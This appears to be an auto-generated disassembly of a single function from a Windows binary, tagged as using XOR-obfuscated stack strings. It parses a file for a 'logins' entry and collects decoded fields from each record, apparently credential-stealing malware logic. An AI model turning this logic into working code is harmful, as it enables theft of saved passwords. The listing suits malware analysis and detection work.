Function at 0x14004e8b8
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x348]
sub rsp, 0x448
mov r13, rdx
mov r15, rcx
xor esi, esi
mov r14, qword [r8]
mov r12, qword [r8 + 8]
mov qword [rbp + 0x78], r12
cmp r14, r12
mov qword [rbp + 0x30], r14
je 0x14004f2be
mov edi, 7
mov rdx, r14
lea rcx, [rbp + 0x38]
call fcn.14000352c
mov rbx, rax
mov dl, 0x27
mov dword [rsp + 0x20], 0x770027
mov dword [rsp + 0x24], 0x480055
mov dword [rsp + 0x28], 0x4e0041
mov dword [rsp + 0x2c], 0x42004b
mov dword [rsp + 0x30], 0x54
mov rcx, rsi
movsx eax, dl
xor word [rsp + rcx*2 + 0x22], ax
inc rcx
cmp rcx, 8
jae 0x14004e955
mov dl, byte [rsp + 0x20]
jmp 0x14004e93e
mov word [rsp + 0x32], si
mov qword [rbp - 0x68], rsi
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rdi
mov word [rbp - 0x68], si
lea rdx, [rsp + 0x22]
lea rcx, [rbp - 0x68]
call fcn.140002cdc
nop
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x58]
call fcn.14000352c
nop
mov r8, rax
mov rdx, r13
lea rcx, [rbp + 0x58]
call fcn.140003644
nop
lea rcx, [rsp + 0x58]
call fcn.14000299c
nop
mov r8, rbx
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0xf0]
call fcn.140003644
nop
lea rcx, [rbp + 0x58]
call fcn.14000299c
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 8
jb 0x14004ea01
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e9fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004f2df
call fcn.140173310
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rdi
mov word [rbp - 0x68], si
lea rcx, [rbp + 0x38]
call fcn.14000299c
mov eax, 0x5c
mov dword [rsp + 0x20], 0x30005c
mov dword [rsp + 0x24], 0x3b0033
mov dword [rsp + 0x28], 0x320035
mov dword [rsp + 0x2c], 0x72002f
mov dword [rsp + 0x30], 0x2f0036
mov dword [rsp + 0x34], 0x320033
mov word [rsp + 0x38], si
mov rcx, rsi
movsx eax, al
xor word [rsp + rcx*2 + 0x22], ax
inc rcx
cmp rcx, 0xb
jae 0x14004ea6a
mov al, byte [rsp + 0x20]
jmp 0x14004ea53
mov word [rsp + 0x38], si
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], rdi
mov word [rsp + 0x78], si
lea rdx, [rsp + 0x22]
lea rcx, [rsp + 0x78]
call fcn.140002cdc
nop
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x38]
call fcn.14000352c
nop
mov r8, rax
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x58]
call fcn.140003644
nop
lea rcx, [rbp + 0x38]
call fcn.14000299c
nop
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x80]
call fcn.1400edafc
nop
lea rcx, [rsp + 0x58]
call fcn.14000299c
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 8
jb 0x14004eb1d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004eb18
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004f2e5
call fcn.140173310
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], rdi
mov word [rsp + 0x78], si
mov rdi, qword [rbp + 0x80]
test rdi, rdi
jne 0x14004eb3b
jmp 0x14004f2a9
lea rcx, [rbp + 0x90]
call fcn.14004f348
nop
mov rcx, rdi
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rdi
mov rax, qword [rbp + 0x88]
lea r11, [rdi + rax]
mov qword [rsp + 0x68], r11
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x58]
mov qword [rbp - 0x48], rax
mov rdx, rdi
mov r10, rdi
mov r9, rdi
mov r8, rdi
cmp rdi, r11
je 0x14004eb9e
cmp byte [rdi], 0xef
jne 0x14004eb9e
lea rcx, [rdi + 1]
mov rdx, rcx
mov qword [rsp + 0x58], rcx
mov r10, rcx
mov r9, rcx
mov r8, rcx
cmp rdx, r11
je 0x14004ebb7
mov r8, r9
cmp byte [rcx], 0xbb
jne 0x14004ebb7
lea rcx, [r10 + 1]
mov qword [rsp + 0x58], rcx
mov r8, rcx
cmp r8, r11
je 0x14004ebc9
cmp byte [rcx], 0xbf
jne 0x14004ebc9
inc rcx
mov qword [rsp + 0x58], rcx
mov rcx, qword [rbp + 0xb0]
mov qword [rbp - 0x40], rcx
mov qword [rbp - 0x38], rsi
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x30], xmm0
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 0x100
mov ebx, 2
mov dword [rbp], ebx
lea rcx, [rbp + 0x90]
mov qword [rbp + 0x110], rcx
mov dword [rbp - 0x10], esi
mov qword [rbp - 8], rsi
lea rcx, [rbp - 0x40]
mov qword [rbp + 0x118], rcx
movabs r8, 0x100002600
mov rdx, qword [rax]
cmp rdx, qword [rax + 0x10]
je 0x14004ec43
cmp byte [rdx], 0x20
ja 0x14004ec43
movsx rcx, byte [rdx]
bt r8, rcx
jae 0x14004ec43
lea rcx, [rdx + 1]
mov qword [rax], rcx
mov rax, qword [rbp - 0x48]
jmp 0x14004ec1e
mov ecx, dword [rbp - 0x10]
test ecx, ecx
jne 0x14004ecd0
cmp rdx, qword [rax + 0x10]
je 0x14004ecc0
cmp byte [rdx], sil
je 0x14004ecc0
lea r8, [rbp + 0x90]
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x40]
call fcn.14004f73c
mov ecx, dword [rbp - 0x10]
test ecx, ecx
jne 0x14004ecd0
movabs r8, 0x100002600
mov rax, qword [rbp - 0x48]
mov rdx, qword [rax]
cmp rdx, qword [rax + 0x10]
je 0x14004eca3
cmp byte [rdx], 0x20
ja 0x14004eca3
movsx rcx, byte [rdx]
bt r8, rcx
jae 0x14004eca3
lea rcx, [rdx + 1]
mov qword [rax], rcx
jmp 0x14004ec7e
mov ecx, dword [rbp - 0x10]
test ecx, ecx
jne 0x14004ecd0
cmp rdx, qword [rax + 0x10]
je 0x14004ecd0
cmp byte [rdx], sil
je 0x14004ecd0
sub rdx, qword [rax + 8]
mov ecx, ebx
mov dword [rbp - 0x10], ebx
jmp 0x14004eccc
sub rdx, qword [rax + 8]
mov ecx, 1
mov dword [rbp - 0x10], ecx
mov qword [rbp - 8], rdx
mov rax, qword [rbp - 0x30]
mov qword [rbp - 0x28], rax
movaps xmm0, xmmword [rbp - 0x10]
movdqu xmmword [rbp + 0xe0], xmm0
test ecx, ecx
jne 0x14004ed15
mov rax, qword [rbp + 0xc8]
add rax, 0xfffffffffffffff0
mov qword [rbp + 0xc8], rax
lea rcx, [rbp + 0x90]
cmp rcx, rax
je 0x14004ed15
movups xmm0, xmmword [rax]
mov word [rax + 0xe], si
movdqu xmmword [rbp + 0x90], xmm0
mov rcx, qword [rbp + 0xc0]
mov qword [rbp + 0xc8], rcx
call fcn.140186974
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], rsi
mov rcx, qword [rbp - 0x30]
call fcn.140186974
mov edx, 1
mov rcx, qword [rbp - 0x38]
call fcn.140173310
cmp word [rbp + 0x9e], 3
jne 0x14004f293
mov ecx, Ordinal_79
mov dword [rsp + 0x3d], 0x2921224e
mov dword [rsp + 0x41], 0x3d2027
mov rax, rsi
xor byte [rsp + rax + 0x3e], cl
inc rax
cmp rax, 6
jae 0x14004ed8a
mov cl, byte [rsp + 0x3d]
jmp 0x14004ed77
mov byte [rsp + 0x44], sil
lea r8, [rsp + 0x3e]
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x90]
call fcn.14004f434
mov rcx, rax
mov eax, dword [rbp + 0x90]
shl rax, 5
mov rdx, qword [rbp + 0x98]
movabs r8, 0xffffffffffff
and rdx, r8
add rax, rdx
cmp qword [rcx], rax
je 0x14004f293
lea rdx, str.logins
lea rcx, [rbp + 0x90]
call fcn.14004f52c
cmp word [rax + 0xe], 4
jne 0x14004f293
xor edx, edx
mov r8d, 0x208
lea rcx, [rbp + 0x130]
call fcn.140175ef0
lea rcx, [rbp + 0x130]
call fcn.14004e600
lea rcx, [rbp + 0x130]
call fcn.14004d648
test al, al
je 0x14004f293
mov rbx, qword [0x14021c988]
lea rdx, [rbp + 0xf0]
cmp qword [rbp + 0x108], 8
cmovae rdx, qword [rbp + 0xf0]
lea rcx, [rbp + 0x38]
call fcn.1400ddf2c
nop
cmp qword [rax + 0x18], 0x10
jb 0x14004ee58
mov rax, qword [rax]
mov rcx, rax
call rbx
mov ebx, eax
lea rcx, [rbp + 0x38]
call fcn.14000511c
test ebx, ebx
jne 0x14004f293
movdqa xmm0, xmmword [0x1401f55d0]
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x701e08
mov rcx, rsi
mov al, byte [rsp + 0x20]
xor byte [rsp + rcx + 0x21], al
inc rcx
cmp rcx, 0x12
jb 0x14004ee89
mov byte [rsp + 0x33], sil
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x10], sil
lea rdx, [rsp + 0x21]
lea rcx, [rbp + 0x10]
call fcn.140005250
nop
lea rdx, str.logins
lea rcx, [rbp + 0x90]
call fcn.14004f52c
mov rbx, qword [rax + 8]
movabs rcx, 0xffffffffffff
and rbx, rcx
mov esi, dword [rax]
shl rsi, 4
add rsi, rbx
cmp rbx, rsi
je 0x14004f165
mov cl, reloc.WLDAP32.dll_Ordinal_33
mov dword [rsp + 0x45], 0x534e4721
mov dword [rsp + 0x49], 0x4354724c
mov dword [rsp + 0x4d], 0x7455484c
mov word [rsp + 0x51], 0x6d73
mov byte [rsp + 0x53], 0
xor eax, eax
xor byte [rsp + rax + 0x46], cl
inc rax
cmp rax, 0xd
jae 0x14004ef33
mov cl, byte [rsp + 0x45]
jmp 0x14004ef20
mov byte [rsp + 0x53], 0
lea r8, [rsp + 0x46]
mov rdx, rbx
lea rcx, [rbp + 0x58]
call fcn.14004e4f8
nop
movdqa xmm0, xmmword [0x1401f5e10]
movdqu xmmword [rbp - 0x68], xmm0
mov word [rbp - 0x58], 0x7b73
mov byte [rbp - 0x56], 0
xor ecx, ecx
mov al, byte [rbp - 0x68]
xor byte [rbp + rcx - 0x67], al
inc rcx
cmp rcx, 0x11
jb 0x14004ef63
mov byte [rbp - 0x56], 0
lea r8, [rbp - 0x67]
mov rdx, rbx
lea rcx, [rsp + 0x58]
call fcn.14004e4f8
nop
movdqa xmm0, xmmword [0x1401f5740]
movdqu xmmword [rsp + 0x20], xmm0
mov word [rsp + 0x30], 0x2234
mov byte [rsp + 0x32], 0
xor ecx, ecx
mov al, byte [rsp + 0x20]
xor byte [rsp + rcx + 0x21], al
inc rcx
cmp rcx, 0x11
jb 0x14004efa5
mov byte [rsp + 0x32], 0
lea r8, [rsp + 0x21]
mov rdx, rbx
lea rcx, [rsp + 0x78]
call fcn.14004e4f8
nop
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rdx, qword [rsp + 0x58]
lea rcx, [rbp + 0x38]
call fcn.14004d950
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.14000fa24
lea rcx, [rbp + 0x38]
call fcn.14000511c
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rdx, qword [rsp + 0x78]
lea rcx, [rbp + 0x38]
call fcn.14004d950
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.14000fa24
lea rcx, [rbp + 0x38]
call fcn.14000511c
lea rdx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0x10
cmovae rdx, qword [rbp + 0x58]
mov r8, qword [rbp + 0x68]
lea rcx, [rbp + 0x10]
call fcn.1400052c0
mov word [rbp + 0x3a0], 0x94a
mov byte [rbp + 0x3a2], 0
lea rax, [rbp + 0x3a1]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14004f063
lea rdx, [rbp + 0x3a1]
lea rcx, [rbp + 0x10]
call fcn.1400052c0
lea rdx, [rsp + 0x58]
cmp qword [rsp + 0x70], 0x10
cmovae rdx, qword [rsp + 0x58]
mov r8, qword [rsp + 0x68]
lea rcx, [rbp + 0x10]
call fcn.1400052c0
mov word [rbp + 0x3a8], 0x95f
mov byte [rbp + 0x3aa], 0
lea rax, [rbp + 0x3a9]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14004f0b7
lea rdx, [rbp + 0x3a9]
lea rcx, [rbp + 0x10]
call fcn.1400052c0
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 0x10
cmovae rdx, qword [rsp + 0x78]
mov r8, qword [rbp - 0x78]
lea rcx, [rbp + 0x10]
call fcn.1400052c0
mov word [rsp + 0x3a], 0xa4f
mov byte [rsp + 0x3c], 0
lea rax, [rsp + 0x3b]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14004f103
lea rdx, [rsp + 0x3b]
lea rcx, [rbp + 0x10]
call fcn.1400052c0
nop
lea rcx, [rsp + 0x78]
call fcn.14000511c
nop
lea rcx, [rsp + 0x58]
call fcn.14000511c
nop
lea rcx, [rbp + 0x58]
call fcn.14000511c
add rbx, 0x10
cmp rbx, rsi
jne 0x14004eef8
mov rdi, qword [rbp + 0x80]
mov r14, qword [rbp + 0x30]
mov r15, qword [rbp + 0x390]
mov r12, qword [rbp + 0x78]
mov r13, qword [rbp + 0x398]
mov al, 0x33
mov dword [rsp + 0x20], 0x5f0033
mov dword [rsp + 0x24], 0x54005c
mov dword [rsp + 0x28], 0x5d005a
mov dword [rsp + 0x2c], 0x1d0040
mov dword [rsp + 0x30], 0x4b0047
mov dword [rsp + 0x34], 0x47
xor esi, esi
mov ecx, esi
movsx eax, al
xor word [rsp + rcx*2 + 0x22], ax
inc rcx
cmp rcx, 0xa
jae 0x14004f1b2
mov al, byte [rsp + 0x20]
jmp 0x14004f19b
mov word [rsp + 0x36], si
mov qword [rsp + 0x78], rsi
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x70], 7
mov word [rsp + 0x78], si
lea rdx, [rsp + 0x22]
lea rcx, [rsp + 0x78]
call fcn.140002cdc
nop
mov r8, r14
mov rdx, r15
lea rcx, [rbp + 0x58]
call fcn.140003828
nop
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140003828
nop
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], rsi
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.140003f34
nop
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x58]
call fcn.140059680
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 8
jb 0x14004f26a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004f264
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004f2d9
call fcn.140173310
nop
lea rcx, [rbp + 0x38]
call fcn.14000299c
nop
lea rcx, [rbp + 0x58]
call fcn.14000299c
nop
lea rcx, [rsp + 0x78]
call fcn.14000299c
nop
lea rcx, [rbp + 0x10]
call fcn.14000511c
nop
lea rcx, [rbp + 0x90]
call fcn.14004f2ec
nop
mov rcx, rdi
call fcn.140173310
nop
lea rcx, [rbp + 0xf0]
call fcn.14000299c
add r14, 0x20
jmp 0x14004e8f0
mov rcx, r15
add rsp, 0x448
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
jmp fcn.14000299c
call fcn.14018273c
nop
call fcn.14018273c
nop
call fcn.14018273c
int3